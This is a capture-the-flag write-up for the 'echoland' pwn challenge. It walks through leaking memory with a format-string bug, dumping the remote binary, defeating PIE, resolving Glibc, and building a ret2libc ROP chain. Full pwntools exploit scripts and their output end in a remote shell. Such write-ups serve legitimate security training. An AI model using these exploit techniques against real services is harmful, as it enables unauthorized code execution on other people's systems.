echoland
16 minutes to read
We are given a remote instance to connect to. At first glance, it seems to be vulnerable to Buffer Overflow:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> 1
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/home/ctf/run_challenge.sh: line 2: 30 Segmentation fault ./echoland
Ncat: Broken pipe.
And there is no stack canary because *** stack smashing detected ***
does not appear as error message. But it also has a Format String vulnerability:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> %x.%x.%x.%x
6e.fffffff4.10.1d
1. Scream.
2. Run outside.
> ^C
The problem here is that we do not have the binary file, so we cannot use a debugger like GDB.
Format String vulnerability
For the moment, let’s dump some values from the stack using the Format String vulnerability. For that, I created this simple Python script:
#!/usr/bin/env python3
from pwn import *
def get_process():
if len(sys.argv) != 2:
log.error(f'Usage {sys.argv[0]} <ip>:<port>')
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def dump(p, i: int) -> bytes:
p.sendlineafter(b'> ', f'%{i}$lx'.encode())
return p.recvline().strip()
def main():
p = get_process()
for i in range(50):
log.info(f'{i + 1}: {dump(p, i + 1).decode()}')
p.close()
if __name__ == '__main__':
main()
Leaking memory addresses
We can dump the first 50 values of the stack:
$ python3 dump.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] 1: 6e
[*] 2: fffffff4
[*] 3: 10
[*] 4: 1d
[*] 5: 7fad04b214c0
[*] 6: 7ffc199e7718
[*] 7: 100000000
[*] 8: a786c243825
[*] 9: 0
[*] 10: 7ffc00000000
[*] 11: 100000000
[*] 12: 5607fa218400
[*] 13: 7fad0452cbf7
[*] 14: 1
[*] 15: 7ffc199e7718
[*] 16: 100008000
[*] 17: 5607fa2182ef
[*] 18: 0
[*] 19: 79bf86feecc2ba31
[*] 20: 5607fa218160
[*] 21: 7ffc199e7710
[*] 22: 0
[*] 23: 0
[*] 24: 2a4841810842ba31
[*] 25: 2aea7a18739cba31
[*] 26: 7ffc00000000
[*] 27: 0
[*] 28: 0
[*] 29: 7fad0490c8d3
[*] 30: 7fad048f2638
[*] 31: 69aae
[*] 32: 0
[*] 33: 0
[*] 34: 0
[*] 35: 5607fa218160
[*] 36: 7ffc199e7710
[*] 37: 5607fa21818e
[*] 38: 7ffc199e7708
[*] 39: 1c
[*] 40: 1
[*] 41: 7ffc199e8ea6
[*] 42: 0
[*] 43: 7ffc199e8eb1
[*] 44: 7ffc199e8eb9
[*] 45: 7ffc199e8ec9
[*] 46: 7ffc199e8ed3
[*] 47: 7ffc199e8ee0
[*] 48: 7ffc199e8ee6
[*] 49: 7ffc199e8eef
[*] 50: 7ffc199e8efb
[*] Closed connection to 206.189.21.29 port 32084
Looking at these values, one could guess that the binary has PIE protection, because there are some values that start with 56
(in hexadecimal values).
What PIE does is randomize the base address of the binary, so that the addresses within the binary are not static (for instance: main
, _start
…).
Moreover, we can see that the offset of the format string is 8:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> AAAABBBB%8$lx
AAAABBBB4242424241414141
1. Scream.
2. Run outside.
>
We can also put our payload at position 9 (after 8 bytes):
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> %9$lx...AAAABBBB
4242424241414141...AAAABBBB
1. Scream.
2. Run outside.
>
Bypassing PIE is the same as bypassing ASLR, but for binary addresses. The base address of the binary will end in 000
in hexadecimal.
Let’s take position 20: 0x5607fa218160
(possibly the address of main
). Considering this address, the offset of the function will be something like 0x...160
. We do not know what is the correct offset, but we can use brute force to get it.
If we use a "%s"
we can read the content of an address if it is valid memory. The idea to bypass PIE is to read the ELF header ("\x7fELF"
). This can be done like this:
def main():
p = get_process()
main_position = 20
main_offset = 0x000160
offset_progress = log.progress('main() offset')
for i in range(0, 0x1000):
with context.local(log_level='CRITICAL'):
p = get_process()
main_addr = int(dump(p, main_position).decode(), 16)
offset = main_offset + i * 0x1000
offset_progress.status(hex(offset))
elf_addr = main_addr - offset
p.sendlineafter(b'> ', b'%9$s....' + p64(elf_addr))
try:
data = p.recvline().split(b'....')[0]
if b'\x7fELF' in data:
main_offset = offset
break
finally:
with context.local(log_level='CRITICAL'):
p.close()
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
$ python3 dump.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[◒] main() offset: 0x1160
[*] Binary base address: 0x55d4450bf000
[*] Closed connection to 206.189.21.29 port 32084
Notice that we used a payload like %9$s....<address>
because strings in C end in a null byte, and if we put the address first, then the format string would not be read.
Knowing the base address of the binary is really useful, because we can start dumping all the binary instructions and get something to analyze.
Nevertheless, there is a filter:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> n
You do not have enough energy for that, you fainted!
Ncat: Broken pipe.
The program does not allow that the payload contains a letter n
(maybe, to prevent format strings like %n
).
Moreover, if a certain address contains a new line character (0x0a
), the dumping process will be quite different because printf
will print more than one line.
Dumping the binary
We can use this script to dump the whole binary instructions:
def main():
p = get_process()
main_position = 20
main_offset = 0x1160
main_addr = int(dump(p, main_position).decode(), 16)
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
offset = 0
binary = []
while True:
addr = elf_addr + offset
if b'n' in p64(addr):
binary.append(b'\0')
offset += 1
continue
try:
p.sendlineafter(b'> ', b'%9$s....' + p64(addr))
data = p.recvuntil(b'1. Scream.').split(b'....')[0] + b'\0'
log.info(f'Dumping address: {hex(addr)} => {data}')
binary.append(data)
offset += len(data)
except (EOFError, KeyboardInterrupt):
log.success('Finished')
break
with open('echoland', 'wb') as f:
f.write(b''.join(binary))
$ python3 dump.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] Binary base address: 0x5626d78da000
[*] Dumping address: 0x5626d78da000 => b'\x7fELF\x02\x01\x01\x00'
[*] Dumping address: 0x5626d78da008 => b'\x00'
[*] Dumping address: 0x5626d78da009 => b'\x00'
[*] Dumping address: 0x5626d78da00a => b'\x00'
[*] Dumping address: 0x5626d78da00b => b'\x00'
[*] Dumping address: 0x5626d78da00c => b'\x00'
[*] Dumping address: 0x5626d78da00d => b'\x00'
[*] Dumping address: 0x5626d78da00e => b'\x00'
[*] Dumping address: 0x5626d78da00f => b'\x00'
[*] Dumping address: 0x5626d78da010 => b'\x03\x00'
[*] Dumping address: 0x5626d78da012 => b'>\x00'
[*] Dumping address: 0x5626d78da014 => b'\x01\x00'
...
[*] Dumping address: 0x55679d18ba12 => b'\x00'
[*] Dumping address: 0x55679d18ba13 => b'\x00'
[+] Finished
[*] Closed connection to 206.189.21.29 port 32084
And we have dumped some instructions of the binary. Nevertheless, the file is a bit corrupted, so we cannot use a decompiler or disassembler directly.
This script can be found in here: dump.py
.
Parsing the binary
We only need to take the address of an entry of the Global Offset Table (GOT) in order to leak an address of a funtion inside Glibc at runtime using the Format String vulnerability.
These are some fragments of the binary that seem useful:
$ xxd echoland_dump
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 6011 0000 0000 0000 ..>.....`.......
00000020: 4000 0000 0000 0000 883b 0000 0000 0000 @........;......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000 ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
...
00000540: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000550: 1d00 0000 1100 1a00 2040 0000 0000 0000 ........ @......
00000560: 0800 0000 0000 0000 006c 6962 632e 736f .........libc.so
00000570: 2e36 0065 7869 7400 7075 7473 0070 7574 .6.exit.puts.put
00000580: 6368 6172 0073 7464 696e 0070 7269 6e74 char.stdin.print
00000590: 6600 6d65 6d73 6574 0072 6561 6400 7374 f.memset.read.st
000005a0: 646f 7574 0073 7472 6368 7200 5f5f 6378 dout.strchr.__cx
000005b0: 615f 6669 6e61 6c69 7a65 0073 6574 7662 a_finalize.setvb
000005c0: 7566 0073 7472 636d 7000 5f5f 6c69 6263 uf.strcmp.__libc
000005d0: 5f73 7461 7274 5f6d 6169 6e00 474c 4942 _start_main.GLIB
000005e0: 435f 322e 322e 3500 5f49 544d 5f64 6572 C_2.2.5._ITM_der
000005f0: 6567 6973 7465 7254 4d43 6c6f 6e65 5461 egisterTMCloneTa
00000600: 626c 6500 5f5f 676d 6f6e 5f73 7461 7274 ble.__gmon_start
00000610: 5f5f 005f 4954 4d5f 7265 6769 7374 6572 __._ITM_register
00000620: 544d 436c 6f6e 6554 6162 6c65 0000 0000 TMCloneTable....
00000630: 0200 0000 0200 0200 0200 0200 0200 0200 ................
00000640: 0200 0000 0200 0200 0000 0200 0200 0200 ................
...
00000ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001000: f30f 1efa 4883 ec08 488b 05d9 2f00 0048 ....H...H.../..H
00001010: 85c0 7402 ffd0 4883 c408 c300 0000 0000 ..t...H.........
00001020: ff35 5a2f 0000 f2ff 255b 2f00 000f 1f00 .5Z/....%[/.....
00001030: f30f 1efa 6800 0000 00f2 e9e1 ffff ff90 ....h...........
00001040: f30f 1efa 6801 0000 00f2 e9d1 ffff ff90 ....h...........
00001050: f30f 1efa 6802 0000 00f2 e9c1 ffff ff90 ....h...........
00001060: f30f 1efa 6803 0000 00f2 e9b1 ffff ff90 ....h...........
00001070: f30f 1efa 6804 0000 00f2 e9a1 ffff ff90 ....h...........
00001080: f30f 1efa 6805 0000 00f2 e991 ffff ff90 ....h...........
00001090: f30f 1efa 6806 0000 00f2 e981 ffff ff90 ....h...........
000010a0: f30f 1efa 6807 0000 00f2 e971 ffff ff90 ....h......q....
000010b0: f30f 1efa 6808 0000 00f2 e961 ffff ff90 ....h......a....
000010c0: f30f 1efa f2ff 252d 2f00 000f 1f44 0000 ......%-/....D..
000010d0: f30f 1efa f2ff 25b5 0000 000f 1f44 0000 ......%......D..
000010e0: f30f 1efa f2ff 25ad 0000 000f 1f44 0000 ......%......D..
000010f0: f30f 1efa f2ff 25a5 0000 000f 1f44 0000 ......%......D..
00001100: f30f 1efa f2ff 259d 0000 000f 1f44 0000 ......%......D..
00001110: f30f 1efa f2ff 2595 0000 000f 1f44 0000 ......%......D..
00001120: f30f 1efa f2ff 258d 0000 000f 1f44 0000 ......%......D..
00001130: f30f 1efa f2ff 2585 0000 000f 1f44 0000 ......%......D..
00001140: f30f 1efa f2ff 257d 0000 000f 1f44 0000 ......%}.....D..
00001150: f30f 1efa f2ff 2575 0000 000f 1f44 0000 ......%u.....D..
00001160: f30f 1efa 31ed 4989 d15e 4889 e248 83e4 ....1.I..^H..H..
00001170: f050 544c 8d05 f602 0000 488d 0d7f 0200 .PTL......H.....
00001180: 0048 8d3d 6701 0000 ff15 5200 0000 f490 .H.=g.....R.....
00001190: 488d 3d79 0000 0048 8d05 7200 0000 4839 H.=y...H..r...H9
000011a0: f874 1548 8b05 0000 0000 4885 c074 09ff .t.H......H..t..
...
00001ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002000: 0100 0200 0000 0000 4e6f 7420 7573 6564 ........Not used
00002010: 2120 4d69 6768 7420 6865 6c70 2069 6e20 ! Might help in
00002020: 6465 6275 6767 696e 6700 003e 3e20 006e debugging..>> .n
00002030: 3063 6834 6e63 6833 7430 6775 3373 2474 0ch4nch3t0gu3s$t
00002040: 6831 2400 0000 0000 0af0 9fa6 8720 496e h1$.......... In
00002050: 7369 6465 2074 6865 2064 6172 6b20 6361 side the dark ca
00002060: 7665 2e20 f09f a687 0031 2e20 5363 7265 ve. .....1. Scre
00002070: 616d 2e00 0032 2e20 5275 6e20 6f75 7473 am...2. Run outs
00002080: 6964 652e 0a3e 2000 2e20 5275 6e20 6f75 ide..> .. Run ou
00002090: 7473 6964 652e 0a3e 2000 0a59 6f75 2064 tside..> ..You d
000020a0: 6f20 6e6f 7420 6861 7665 2065 6e6f 7567 o not have enoug
000020b0: 6820 656e 6572 6779 2066 6f72 2074 6861 h energy for tha
000020c0: 742c 2079 6f75 2066 6169 6e74 6564 2100 t, you fainted!.
000020d0: 6e6f 7567 6820 656e 6572 6779 2066 6f72 nough energy for
000020e0: 2074 6861 742c 2079 6f75 2066 6169 6e74 that, you faint
000020f0: 6564 2100 6e6f 7420 7265 636f 676e 697a ed!.not recogniz
00002100: 6520 796f 7520 616e 6420 7261 6e20 7468 e you and ran th
00002110: 6520 6f74 6865 7220 7761 7921 0077 6179 e other way!.way
00002120: 2100 6420 6361 6d65 2074 6f20 7265 7363 !.d came to resc
00002130: 7565 2079 6f75 2100 6520 746f 2072 6573 ue you!.e to res
00002140: 6375 6520 796f 7521 0058 00ef ffff b400 cue you!.X......
00002150: ffb4 009c efff ffcc 00ff cc00 f0ff ff74 ...............t
00002160: 0074 00f1 ffff e400 ffe4 002c f1ff ff04 .t.........,....
...
000039f0: 0000 2473 0000 0000 0000 0000 0000 0000 ..$s............
00003a00: 0000 0000 0000 0000 0024 7300 0000 0000 .........$s.....
00003a10: 0000 0000 ....
The Procedure Linkage Table (PLT) is just a section of the binary that has jump instructions to the corresponding GOT entry (where the absolute address will be stored after its resolution).
This is the PLT section:
000010c0: f30f 1efa f2ff 252d 2f00 000f 1f44 0000 ......%-/....D..
000010d0: f30f 1efa f2ff 25b5 0000 000f 1f44 0000 ......%......D..
000010e0: f30f 1efa f2ff 25ad 0000 000f 1f44 0000 ......%......D..
000010f0: f30f 1efa f2ff 25a5 0000 000f 1f44 0000 ......%......D..
00001100: f30f 1efa f2ff 259d 0000 000f 1f44 0000 ......%......D..
00001110: f30f 1efa f2ff 2595 0000 000f 1f44 0000 ......%......D..
00001120: f30f 1efa f2ff 258d 0000 000f 1f44 0000 ......%......D..
00001130: f30f 1efa f2ff 2585 0000 000f 1f44 0000 ......%......D..
00001140: f30f 1efa f2ff 257d 0000 000f 1f44 0000 ......%}.....D..
00001150: f30f 1efa f2ff 2575 0000 000f 1f44 0000 ......%u.....D..
We know it because those are jump instructions. For example, the first one is:
$ pwn disasm 'f30f 1efa f2ff 252d 2f00 000f 1f44 0000'
0: f3 0f 1e fa endbr64
4: f2 ff 25 2d 2f 00 00 bnd jmp DWORD PTR ds:0x2f2d
b: 0f 1f 44 00 00 nop DWORD PTR [eax+eax*1+0x0]
On this assembly code we see that 0x2f2d
is the distance to the corresponding entry of the GOT. And the address of the PLT entry will be 0x10cb
(actually an offset because PIE is enabled), pointing to the nop DWORD PTR [eax+eax*1+0x0]
instruction.
Exploit development
Now we can compute the GOT entries’ addresses and leak their values:
def main():
p = get_process()
main_position = 20
main_addr = int(dump(p, main_position).decode(), 16)
log.info(f'Leaked main() address: {hex(main_addr)}')
main_offset = 0x1160
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
print()
plt = [0x10cb, 0x10db, 0x10eb, 0x10fb, 0x110b,
0x111b, 0x112b, 0x113b, 0x114b, 0x115b]
got = [0x2f2d, 0x2eb5, 0x2ead, 0x2ea5, 0x2e9d,
0x2e95, 0x2e8d, 0x2e85, 0x2e7d, 0x2e75]
for pv, gv in zip(plt, got):
function_plt = elf_addr + pv
function_got = function_plt + gv
p.sendlineafter(b'> ', b'%9$s....' + p64(function_got))
leak = p.recvuntil(b'1. Scream.').split(b'....')[0]
leaked_addr = u64(leak.ljust(8, b'\0'))
log.info(f'Leaked function() address: {hex(leaked_addr)}')
p.close()
$ python3 solve.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] Leaked main() address: 0x561e339cf160
[*] Binary base address: 0x561e339ce000
[*] Leaked function() address: 0x7fd430739640
[*] Leaked function() address: 0x7fd4307788f0
[*] Leaked function() address: 0x7fd430776aa0
[*] Leaked function() address: 0x7fd430883ee0
[*] Leaked function() address: 0x7fd43075af70
[*] Leaked function() address: 0x7fd430884e90
[*] Leaked function() address: 0x7fd430806140
[*] Leaked function() address: 0x7fd43079fc50
[*] Leaked function() address: 0x7fd4307773d0
[*] Leaked function() address: 0x7fd430739240
[*] Closed connection to 206.189.21.29 port 32084
And we get a lot of leaked addresses. We must care about the last 3 hexadecimal digits of each one in order to find a Glibc version that matches with those offsets.
One section of the binary dump contains the names of the used functions:
00000560: 0800 0000 0000 0000 006c 6962 632e 736f .........libc.so
00000570: 2e36 0065 7869 7400 7075 7473 0070 7574 .6.exit.puts.put
00000580: 6368 6172 0073 7464 696e 0070 7269 6e74 char.stdin.print
00000590: 6600 6d65 6d73 6574 0072 6561 6400 7374 f.memset.read.st
000005a0: 646f 7574 0073 7472 6368 7200 5f5f 6378 dout.strchr.__cx
000005b0: 615f 6669 6e61 6c69 7a65 0073 6574 7662 a_finalize.setvb
000005c0: 7566 0073 7472 636d 7000 5f5f 6c69 6263 uf.strcmp.__libc
000005d0: 5f73 7461 7274 5f6d 6169 6e00 474c 4942 _start_main.GLIB
000005e0: 435f 322e 322e 3500 5f49 544d 5f64 6572 C_2.2.5._ITM_der
000005f0: 6567 6973 7465 7254 4d43 6c6f 6e65 5461 egisterTMCloneTa
00000600: 626c 6500 5f5f 676d 6f6e 5f73 7461 7274 ble.__gmon_start
00000610: 5f5f 005f 4954 4d5f 7265 6769 7374 6572 __._ITM_register
00000620: 544d 436c 6f6e 6554 6162 6c65 0000 0000 TMCloneTable....
Finding Glibc version
We can use libc.blukat.me to search for different versions until we find one that matches. The problem here is that we do not know which function corresponds to which offset.
We can start setting every offset to puts
and look for the offset of read
(shown when selecting a Glibc version). There is one that has an offset for read
that is found in our set of leaked offsets:
Indeed, we can match more functions:
ret2libc attack
Now we are able to perform a ret2libc attack, because we can take the offset of system
(0x4f550
) and the pointer to the string "/bin/sh"
(0x1b3e1a
).
This procedure must be done using a ROP chain because it is likely that NX is enabled.
To create the ROP chain, we need a pop rdi; ret
gadget. Since we cannot run ROPgadget
or ropper
on the binary because it is corrupted, we must search for the machine code of pop rdi; ret
(offset 0x1463
):
$ pwn asm -c amd64 'pop rdi; ret'
5fc3
$ xxd echoland_dump | grep 5fc3
$ xxd echoland_dump | grep '5f c3'
00001460: 415e 415f c366 662e 0f1f 8400 0000 0000 A^A_.ff.........
To exploit the Buffer Overflow vulnerability, we must calculate the number of characters needed to reach the saved return address on the stack, but we cannot do it in GDB. So we must do some trial an error until we get the correct one:
$ python3 -c 'print("1\n" + "A" * 100)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> /home/ctf/run_challenge.sh: line 2: 45 Segmentation fault ./echoland
$ python3 -c 'print("1\n" + "A" * 50)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
$ python3 -c 'print("1\n" + "A" * 70)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
$ python3 -c 'print("1\n" + "A" * 80)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
$ python3 -c 'print("1\n" + "A" * 90)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> /home/ctf/run_challenge.sh: line 2: 57 Segmentation fault ./echoland
$ python3 -c 'print("1\n" + "A" * 84)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
/home/ctf/run_challenge.sh: line 2: 59 Segmentation fault ./echoland
$ python3 -c 'print("1\n" + "A" * 81)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
/home/ctf/run_challenge.sh: line 2: 63 Segmentation fault ./echoland
Although it seems that the offset is 80, it is indeed 72 (this can be tested using trial and error).
Finally, to make the exploit work, we need to put a ret
instruction in our ROP chain to avoid stack alignment issues, offset 0x1464
(one more than pop rdi; ret
).
Now we have completed the exploit:
#!/usr/bin/env python3
from pwn import context, log, p64, remote, sys, u64
context.bits = 64
context.arch = 'amd64'
def get_process():
if len(sys.argv) != 2:
log.error(f'Usage {sys.argv[0]} <ip>:<port>')
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def dump(p, i: int, f: str = 'lx', prefix: bytes = b'') -> bytes:
p.sendlineafter(b'> ', prefix + f'%{i}${f}'.encode())
return p.recvline().strip()
def main():
p = get_process()
main_position = 20
main_addr = int(dump(p, main_position).decode(), 16)
log.info(f'Leaked main() address: {hex(main_addr)}')
main_offset = 0x1160
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
printf_plt = elf_addr + 0x110b
printf_got = printf_plt + 0x2e9d
printf_offset = 0x64f70
p.sendlineafter(b'> ', b'%9$s....' + p64(printf_got))
printf_addr = u64(p.recvline().split(b'....')[0].ljust(8, b'\0'))
log.success(f'Leaked printf() address: {hex(printf_addr)}')
glibc_addr = printf_addr - printf_offset
log.info(f'Glibc base address: {hex(glibc_addr)}')
pop_rdi_ret_offset = 0x1463
ret_offset = 0x1464
system_offset = 0x4f550
bin_sh_offset = 0x1b3e1a
pop_rdi_ret = elf_addr + pop_rdi_ret_offset
ret = elf_addr + ret_offset
system_addr = glibc_addr + system_offset
bin_sh_addr = glibc_addr + bin_sh_offset
offset = 72
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.interactive()
if __name__ == '__main__':
main()
Flag
And we have a shell on the remote instance:
$ python3 solve.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] Leaked main() address: 0x55a09ca2a160
[*] Binary base address: 0x55a09ca29000
[+] Leaked printf() address: 0x7f373f62ef70
[*] Glibc base address: 0x7f373f5ca000
[*] Switching to interactive mode
$ ls
echoland
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{bl1nd_R0p_1s_c0ol_a1nt_1t?}
The full exploit script can be found in here: solve.py
.